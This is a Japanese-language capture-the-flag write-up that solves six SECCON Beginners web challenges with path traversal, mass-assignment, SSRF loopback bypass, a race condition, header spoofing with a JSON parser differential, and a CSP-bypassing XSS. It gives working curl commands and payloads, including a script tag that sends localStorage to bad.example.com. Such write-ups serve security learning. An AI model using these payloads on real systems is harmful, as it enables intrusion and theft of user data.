PikaPikaYadonというチーム名で参加しました。
Webばかりやっています。
web
osoba
美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります!
https://osoba.quals.beginners.seccon.jp/
念のため https://osoba.quals.beginners.seccon.jp/flag にアクセスしてもフラグは無い。
適当なリンクを開くと、クエリパラメータにパスらしきものが確認できる。
問題文から、サーバのルートディレクトリを掘ればいいと推測できるので、https://osoba.quals.beginners.seccon.jp/?page=../../../../../../../../../../../../../../../../flag
などでディレクトリトラバーサルする。
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
Werewolf
I wish I could play as a werewolf...
POSTした結果、WEREWOLFとなることが目標。
配布されているapp.py
ではWEREWOLFが抽選の対象から外れており、しかもrole
プロパティにsetterが無い状態となっている。
ユーザー入力をすべてplayer.__dict__
に入力しているため、抽選の結果に関わらず入力でWEREWOLF
を入れ込めばよい。
Pythonでは、プライベート変数の代替機能としてアンダースコア2つ__
をアタマに着けたメンバ名は、クラスの外側からは_<CLASSNAME>__<MEMBERNAME>
のようにしないとアクセスできない機能がある。
今回のプログラムでは抽選結果を__role
に保持しているため、_Player__role
にWEREWOLF
が入るようPOSTしてやればよい。
curl -X POST -F '_Player__role=WEREWOLF' https://werewolf.quals.beginners.seccon.jp/
ctf4b{there_are_so_many_hackers_among_us}
check_url
Have you ever used curl ?
https://check-url.quals.beginners.seccon.jp/
url
パラメータに渡したurlにサーバがcurl
してくれるのでウマいことループバックアドレスを渡す。
- 127.0.0.1
- localhost
は使えないので別の方法を探す必要がある。
IPv6の::1
を試してみるも失敗。
チームに助けを求めたところ、0x7f000001
で行けたと教えてくれた。
要するに、10進表記の127.0.0.1
を16進数表記したものらしい。
本当にありがとうございます。
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
cant_use_db
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/
少ない所持金額をごまかして麺2杯とスープを手に入れよう。
コードを見てみると、タイトルの通りDBを使わずユーザーごとに別のファイルでデータを保存している。
謎のtime.sleep
があった後に所持金が差し引かれるので、この時間内に短く発注することで要件を満たす買い物が出来る。
初期の所持金は20000、麺が10000、スープが20000で、それぞれ発注時に所持金よりも少なかった場合はじかれてしまう。
タブを複数開いた場合でもWalletは引き継がれる。
タブを3つ開き、それぞれのタブで
- スープ
- 麺
- 麺
の順で素早く購入することで、全てを入手することが出来る。
time.sleep
は実世界ではクレジットカードの決済などに対応している?生々しくてこわいですね。。。
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
json
外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
問題は2段階に分かれる。まずはIPアドレスによる制限をかいくぐり、リクエストの制限も突破する必要がある。
まずは素直にPOSTしてみると、IPアドレスが外だよ~と怒られる。
配布されているファイルを見ると、内部の別のサーバーにリダイレクトしており、これを利用してローカルからのリクエストであるかのように見せかければよさそうである。
default.conf
を見ると、以下のような記述がある。
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for
この$proxy_add_x_forewarded_for
という変数らしきものには、
- リクエストに
X-Forwarded-For
ヘッダが設定されていればその値 - でなければリクエスト元のIPアドレス
が代入されるらしいので、curl
なら-H 'X-Forwarded-For: 192.168.111.1'
などをやる。
すると、レスポンスが下のようになってうれしい。第一関門突破。
{"error":"Invalid parameter."}
api/main.go
を読むと、{"id": 2}
な感じにするとflagがとれそうであるが、その前に立ちはだかるbff/main.go
が要求をはじいてしまう。
goは静的な型付けの言語なので文字列として渡してみてもパースの際にバレてしまう。
ここからはよくわかっていないのだが、{"id": 2, "id": 0}
みたいにキーをだぶらせた場合、無事にflagをとれた。
恐らく、パーサの仕様的に、json.Unmarshal
は先にある値を、jsonparser.GetInt
は後にある値を取ってくるようになっていためと考えられる。
同じパーサをつかおうね
最終的なコマンドは以下の通り。
curl -X POST -H 'X-Forwarded-For: 192.168.111.1' -d '{"id": 2, "id": 0}' 'https://json.quals.beginners.seccon.jp/'
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}
magic
トリックを見破れますか?
メモアプリの脆弱性を突くぞ
コードを見ると、crawl.js
の中にflagに関する記述が見つかる。
また、app.js
を読み進めていくと、/report
で送られてきたURLにcrawl.js
が来てくれるとわかる。
crawl.js
の挙動は次の通り。
- adminとしてログインする。
- ログイン後のメモ画面にflagを入力する。 (この時サーバーに送信はしない。)
- ユーザーから送られてきたURLを踏む。
他にも以下の特徴がわかる。
- 発行されたトークンを含むURLを辿ることでユーザー名/パスワードの認証をパスできる機能がある。
- memoにはhtmlを埋め込ませることが出来る。
- ただし、スクリプトの埋め込みは
Content-Security-Policy
ヘッダで制限されている。 - スクリプトの実行は同一ドメイン内のコンテンツに限定される。
- ただし、スクリプトの埋め込みは
- memo入力欄への入力は、フォーカスが外れた際にLocal Storageに保存され、保持される。
以上より、
-
localStorage
を抜くスクリプトを用意する - 1を頑張ってXSSできるようにする
-
/report
でおくりつける
の手順で行けそうな気がしてくる。
1.についてはいつも通りという感じだが、問題なのが2番。
前述の通りContent-Security-Policy
ヘッダのせいで<script>alert()</script>
や<img src="hoge" onerror="alert()">
などによるスクリプトの注入がしにくくなっている。nonce
を使っていた場合などはこれを奪取する手口があるらしい1が、今回は該当しない。
ここで格闘すること数時間。Web技術のセキュリティが憎くなります。
ユーザー入力できそうなところを見ていくと、memo以外にもmagic-linkのURLhttps://magic.quals.beginners.seccon.jp/magic?token=...
でtokenが不正だった際の処理には.ejs
ではなく、HTMLのエンティティを置換したほぼ生のデータを返していることがわかる。
置換されないよう?token=
にスクリプトを与え、magic
へのURLを<script>
のsrc
として与えてやればスクリプトを注入できそう。
例えばhttps://magic.quals.beginners.seccon.jp/magic?token=alert()//
にアクセスしてみると、
alert()// is invalid token.
となり、Javascriptとして評価できる。
XSSの転送先としてURLを与える際、"
や'
などはエスケープされてしまうため、 テンプレートリテラル`
をつかうとイイと思った。
下記のようなコードをmemoとしてセーブする。
と、アクセスすると自動的にlocalStorage
が送信されるようになる。
<script src="/magic?token=fetch(`https://bad.example.com/?hoge=${localStorage.getItem(`memo`)}`)//"></script>
自分のmagic-linkを/report
で送ってやるとadminがlocalStorage
を教えてくれて嬉しい。
ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick}